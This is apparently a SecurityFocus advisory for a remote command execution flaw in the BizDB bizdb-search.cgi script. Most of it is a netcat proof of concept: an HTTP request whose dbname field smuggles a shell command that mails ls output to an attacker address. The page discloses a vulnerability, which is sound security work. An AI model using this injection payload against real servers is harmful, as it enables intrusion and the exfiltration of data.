BizDB bizdb-search.cgi Remote Command Execution Vulnerability

The following netcat session will cause a copy of the output of the ls command to be mailed to attacker@attacker-host

netcat target 80
GET
/cgi-bin/bizdb1-search.cgi?template=bizdb-summary&dbname=;ls|mail%20attacker@attacker-host|&f6=^a.*&action=searchdbdisplay
HTTP/1.0
Host: target
Referer: http://target/cgi-bin/bizdb1-search.cgi?bizdb-search
(empty line)
(End of Input)


 

Privacy Statement
Copyright 2010, SecurityFocus